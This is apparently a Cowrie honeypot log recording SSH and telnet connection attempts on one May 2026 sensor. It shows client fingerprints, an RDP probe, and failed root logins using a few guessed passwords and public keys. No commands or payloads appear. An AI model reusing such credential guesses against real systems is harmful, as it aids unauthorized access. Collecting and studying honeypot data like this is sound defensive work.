{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37680,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6785b147a46","protocol":"telnet","message":"New connection: 192.119.13.58:37680 (10.17.0.5:23) [session: d6785b147a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:08.147888Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46330,"dst_ip":"10.17.0.5","dst_port":22,"session":"af627e52016c","protocol":"ssh","message":"New connection: 103.149.28.157:46330 (10.17.0.5:22) [session: af627e52016c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:18.355565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:18.359740Z","src_ip":"103.149.28.157","session":"af627e52016c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:18.604044Z","src_ip":"103.149.28.157","session":"af627e52016c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfntyjr","message":"login attempt [root/rfntyjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:19.336727Z","src_ip":"103.149.28.157","session":"af627e52016c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:20.585468Z","src_ip":"103.149.28.157","session":"af627e52016c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.18980550765991,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:27:48.337546Z","src_ip":"192.119.13.58","session":"d6785b147a46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51598,"dst_ip":"10.17.0.5","dst_port":23,"session":"e796da87e592","protocol":"telnet","message":"New connection: 192.119.13.58:51598 (10.17.0.5:23) [session: e796da87e592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:28:16.534604Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60915,"dst_ip":"159.203.135.109","dst_port":22,"session":"09f2b0928ed6","protocol":"ssh","message":"New connection: 152.42.212.128:60915 (159.203.135.109:22) [session: 09f2b0928ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:28:46.428334Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:28:46.432662Z","src_ip":"152.42.212.128","session":"09f2b0928ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:28:46.435945Z","src_ip":"152.42.212.128","session":"09f2b0928ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"59aa24f0878f","protocol":"telnet","message":"New connection: 192.119.13.58:34474 (10.17.0.5:23) [session: 59aa24f0878f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:28:54.710397Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50768,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb065cb345c4","protocol":"telnet","message":"New connection: 192.119.13.58:50768 (10.17.0.5:23) [session: fb065cb345c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:28:58.853850Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35344,"dst_ip":"10.17.0.5","dst_port":23,"session":"6932a57c1fc8","protocol":"telnet","message":"New connection: 192.119.13.58:35344 (10.17.0.5:23) [session: 6932a57c1fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:02.159827Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":48528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9633d20c237","protocol":"telnet","message":"New connection: 186.195.16.41:48528 (159.203.135.109:23) [session: d9633d20c237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:02.491588Z"}
{"eventid":"cowrie.session.closed","duration":49.45460629463196,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:05.989131Z","src_ip":"192.119.13.58","session":"e796da87e592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.175.141.21","src_port":47300,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b85e32c4da1","protocol":"ssh","message":"New connection: 107.175.141.21:47300 (10.17.0.5:22) [session: 5b85e32c4da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:10.741042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:10.767678Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:10.832281Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:ca:a6:44:45:97:1e:8c:b1:18:ab:5b:e6:7d:be:d2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGN8eobc552x5Dm0oo2gNjbUR2XPAT4rZeGSQUN0krne","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 90:ca:a6:44:45:97:1e:8c:b1:18:ab:5b:e6:7d:be:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.164875Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:ca:a6:44:45:97:1e:8c:b1:18:ab:5b:e6:7d:be:d2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGN8eobc552x5Dm0oo2gNjbUR2XPAT4rZeGSQUN0krne","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.169079Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:1a:9d:ff:9d:1e:7c:91:a1:73:79:38:13:e1:35:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCmMq//rKYh8XYMFltMWnAhUZZbfvg522PtBeb/EctNxtOC0fYwcxydenF6I1lThuhF7uTwVXFCYeCuNzF5E1WOOBJkt/rz4zpUTSEvukJ3QK2O0MsNK/vOguJZ2ZeGN8gYJrS8YRKut3l2rlkCH/U6rLLDlvSiJHfXv04znTvaIjjjn+5Y6eLwO2xo03M6QfArcEKs8bqIaobOF+rbsfS5bNsoMHpv4vKS0q2H/cAdIg1SKjwbD/YC/93kMxhIHE6F18y7XJ4fOc3ax5YVY9nLKPw5dOUwoWxjhAh3QNSvGCQwDOa4UGnQ+aWIYvIPd5jrAghfUpjjDzhfSPC0rOpyVOoU86l2FLIRzpfUG0CxXKvlQ6JDaGWqZzw5o/a7HdOxqGK1BO0hRF9aTC+4ZO9kVx28iJPesQ0OfLfnixZOpefbrNOPONM4TfOTS0I6IHptj6/RYzSLSTM71TClxZCO/koSiOiXKCS8IkWB0W9q6ZySiPDh9Gzq1uvQ20h/c4SL7x/+pcelSya9k/owCY2w55kDcdtArbJzpn1VMJuoaAHQf/qSVF86ky9HVwxNJThpv9E/a6cFfKz5Iou8qtQCtTlRbaDbHw6U8A2M6ZF9qqpkY6c1ilAyHY4G+AV0rcZlrS7j5xfcCs9eq/7yC40VbRwyyEzFO/WSbh7ufePzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:1a:9d:ff:9d:1e:7c:91:a1:73:79:38:13:e1:35:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.249533Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:1a:9d:ff:9d:1e:7c:91:a1:73:79:38:13:e1:35:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCmMq//rKYh8XYMFltMWnAhUZZbfvg522PtBeb/EctNxtOC0fYwcxydenF6I1lThuhF7uTwVXFCYeCuNzF5E1WOOBJkt/rz4zpUTSEvukJ3QK2O0MsNK/vOguJZ2ZeGN8gYJrS8YRKut3l2rlkCH/U6rLLDlvSiJHfXv04znTvaIjjjn+5Y6eLwO2xo03M6QfArcEKs8bqIaobOF+rbsfS5bNsoMHpv4vKS0q2H/cAdIg1SKjwbD/YC/93kMxhIHE6F18y7XJ4fOc3ax5YVY9nLKPw5dOUwoWxjhAh3QNSvGCQwDOa4UGnQ+aWIYvIPd5jrAghfUpjjDzhfSPC0rOpyVOoU86l2FLIRzpfUG0CxXKvlQ6JDaGWqZzw5o/a7HdOxqGK1BO0hRF9aTC+4ZO9kVx28iJPesQ0OfLfnixZOpefbrNOPONM4TfOTS0I6IHptj6/RYzSLSTM71TClxZCO/koSiOiXKCS8IkWB0W9q6ZySiPDh9Gzq1uvQ20h/c4SL7x/+pcelSya9k/owCY2w55kDcdtArbJzpn1VMJuoaAHQf/qSVF86ky9HVwxNJThpv9E/a6cFfKz5Iou8qtQCtTlRbaDbHw6U8A2M6ZF9qqpkY6c1ilAyHY4G+AV0rcZlrS7j5xfcCs9eq/7yC40VbRwyyEzFO/WSbh7ufePzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.253566Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:53:ea:fc:76:87:7d:a1:0b:9c:4a:3d:47:32:86:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDT1fIJ3VmiEWaQg/s+ZPVofEktOTyx7B9heT1Z1LQXLws6nxUKm22mRWGgz7IaMY1uo3JyBnnI/2sJ0IHpw7xJQ4YCXLgTOWJgPt/cKlXJsgaOyDx4xuaE4KUGt2PgU+csXAUxxJsU0cogE4waTufHw6h8Zdf3cV3c19H0pcfur9oDOx437wxnofScF/sr6gVoziFvp9M/3fp2WX1HHXGrVGoIP0YVd2iCuMP4aPNVFbs8MDBhSS+Ibn3sPn9apyfM73ZmriSTy8Is4ivxgJZOuYyNvzSrRW0UF8LbgFGxO73DNUWmEk+INgXY0zLQn45tPk3BjLjYxY/qroMKzulXHLJmfHJtiCP+YNDgqx5ECCGmn0o8Qj71z12yDrazn9UVt4cZC/VoXnUMzdEHP5Wi2sCinMR1kmLRYd03sJm1E7CWagw8OiJ3y4f0SpYVVUSBjud8N186bxU2+L6r11a8nw70ik5EycVTB+K43SMb2WhWxcyauNUmqjcgVRa0278=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:53:ea:fc:76:87:7d:a1:0b:9c:4a:3d:47:32:86:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.325915Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:53:ea:fc:76:87:7d:a1:0b:9c:4a:3d:47:32:86:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDT1fIJ3VmiEWaQg/s+ZPVofEktOTyx7B9heT1Z1LQXLws6nxUKm22mRWGgz7IaMY1uo3JyBnnI/2sJ0IHpw7xJQ4YCXLgTOWJgPt/cKlXJsgaOyDx4xuaE4KUGt2PgU+csXAUxxJsU0cogE4waTufHw6h8Zdf3cV3c19H0pcfur9oDOx437wxnofScF/sr6gVoziFvp9M/3fp2WX1HHXGrVGoIP0YVd2iCuMP4aPNVFbs8MDBhSS+Ibn3sPn9apyfM73ZmriSTy8Is4ivxgJZOuYyNvzSrRW0UF8LbgFGxO73DNUWmEk+INgXY0zLQn45tPk3BjLjYxY/qroMKzulXHLJmfHJtiCP+YNDgqx5ECCGmn0o8Qj71z12yDrazn9UVt4cZC/VoXnUMzdEHP5Wi2sCinMR1kmLRYd03sJm1E7CWagw8OiJ3y4f0SpYVVUSBjud8N186bxU2+L6r11a8nw70ik5EycVTB+K43SMb2WhWxcyauNUmqjcgVRa0278=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.329958Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:54:a9:07:3e:c4:2f:55:21:71:b4:ce:df:02:a1:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhtImpHAJ4adGuL6jm/fx9iGyrrW66z9ycIAe0lSau2vvZbh5kBLCgPgW/rrgyzZ3ArvH9chQoFcWnuxtxZWYNCEWKOe9h8Xk55tg6ninGrmkf9ihANXx+lANUOBiZz+Kviipyt+WJz5gd0QxB+sMfb5WoMctai6z/gn2eh42BjzbnzWP/zBqMi9Hak5smAG1rGMGWxcjbYlS0qq5wk1jCIF4+HJKQs/UWn03jTq6IuVqiLMBZGJNzvugZh7YoN9xD2/ImihgtcKVIH0nllJWHMrMrRQwe4+wz4doMXRZ8/oAYWbau6fKWtp0LA1SHz5cAY6uCKNi3DWa3zvflsH1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:54:a9:07:3e:c4:2f:55:21:71:b4:ce:df:02:a1:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.401004Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:54:a9:07:3e:c4:2f:55:21:71:b4:ce:df:02:a1:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhtImpHAJ4adGuL6jm/fx9iGyrrW66z9ycIAe0lSau2vvZbh5kBLCgPgW/rrgyzZ3ArvH9chQoFcWnuxtxZWYNCEWKOe9h8Xk55tg6ninGrmkf9ihANXx+lANUOBiZz+Kviipyt+WJz5gd0QxB+sMfb5WoMctai6z/gn2eh42BjzbnzWP/zBqMi9Hak5smAG1rGMGWxcjbYlS0qq5wk1jCIF4+HJKQs/UWn03jTq6IuVqiLMBZGJNzvugZh7YoN9xD2/ImihgtcKVIH0nllJWHMrMrRQwe4+wz4doMXRZ8/oAYWbau6fKWtp0LA1SHz5cAY6uCKNi3DWa3zvflsH1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.404807Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:bf:ca:fc:9d:84:5e:ae:2c:a4:4a:3f:80:bc:c0:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGrAsGeRidmOn03SeplzQC+BLw9nfqmP4wnVXvSst36DlIrUmr1sxGJKMSKdJCS54xV/4FqOPo9W35/ZOl+kt7n52kjlpVFKevhdiuqnqtU8puSmKwM32v4MvzAzBGt0cy8LTUHneAmuYHfaFrP+ZMQNqI3WW/D5NajXfAQEBG5JAyKioAcMM/TbTMFRIS9otE51wAeSwxZ+aGzsX0IUV0a1XQWA/5UepaSICMdW1HFnWTA62d5iLlc1RYJ82PnQD7fmEqlqjlTdVI5u5ErNwfWWGCRgU/+174UuHSkzPhrLoWmd/+sydTVSl4xF+PHYpXcBtwCVjjueMp5PFAj+lWZsMZrO0Bg2clgwAO3Az9/lL4YOhZCea8OdvpF4zmo1qWT7Rl3KuU31VKs61TI9OOLFkL5vTZmEuBhrk9AuyeeBjl99j1HoRke4ErMI6Lpm70Nq643B7M5PwBC2pYfEBe++958DSCd6vZ3zeSPPm5Y5KH2YSWGygORk7cRiO0NgIjtEFbgj9POE5cCtX3ultqP16nswrfG7lcJPVWhsYkidYQU27Xbokxocr3rvgvHW8o43pP6sVXsAkUXRHVAQyq1ivNOD6E3R1luWeov0nD5bAGt4PdO85/bxkzorBSpgnjQzgqYJ73t6AUruaXdJy4bnRiyflyFpv1BZ+9g1roDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:bf:ca:fc:9d:84:5e:ae:2c:a4:4a:3f:80:bc:c0:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.476112Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:bf:ca:fc:9d:84:5e:ae:2c:a4:4a:3f:80:bc:c0:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGrAsGeRidmOn03SeplzQC+BLw9nfqmP4wnVXvSst36DlIrUmr1sxGJKMSKdJCS54xV/4FqOPo9W35/ZOl+kt7n52kjlpVFKevhdiuqnqtU8puSmKwM32v4MvzAzBGt0cy8LTUHneAmuYHfaFrP+ZMQNqI3WW/D5NajXfAQEBG5JAyKioAcMM/TbTMFRIS9otE51wAeSwxZ+aGzsX0IUV0a1XQWA/5UepaSICMdW1HFnWTA62d5iLlc1RYJ82PnQD7fmEqlqjlTdVI5u5ErNwfWWGCRgU/+174UuHSkzPhrLoWmd/+sydTVSl4xF+PHYpXcBtwCVjjueMp5PFAj+lWZsMZrO0Bg2clgwAO3Az9/lL4YOhZCea8OdvpF4zmo1qWT7Rl3KuU31VKs61TI9OOLFkL5vTZmEuBhrk9AuyeeBjl99j1HoRke4ErMI6Lpm70Nq643B7M5PwBC2pYfEBe++958DSCd6vZ3zeSPPm5Y5KH2YSWGygORk7cRiO0NgIjtEFbgj9POE5cCtX3ultqP16nswrfG7lcJPVWhsYkidYQU27Xbokxocr3rvgvHW8o43pP6sVXsAkUXRHVAQyq1ivNOD6E3R1luWeov0nD5bAGt4PdO85/bxkzorBSpgnjQzgqYJ73t6AUruaXdJy4bnRiyflyFpv1BZ+9g1roDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.481246Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:11.555809Z","src_ip":"107.175.141.21","session":"5b85e32c4da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":11718,"dst_ip":"10.17.0.5","dst_port":22,"session":"62b264ee0bca","protocol":"ssh","message":"New connection: 38.93.206.2:11718 (10.17.0.5:22) [session: 62b264ee0bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:12.918497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:12.922877Z","src_ip":"38.93.206.2","session":"62b264ee0bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:12.973247Z","src_ip":"38.93.206.2","session":"62b264ee0bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1a2z3","message":"login attempt [root/q1a2z3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:13.125827Z","src_ip":"38.93.206.2","session":"62b264ee0bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:14.179352Z","src_ip":"38.93.206.2","session":"62b264ee0bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45864,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a69cd1e1fbc","protocol":"ssh","message":"New connection: 80.66.85.226:45864 (159.203.135.109:22) [session: 7a69cd1e1fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:29:24.117370Z"}
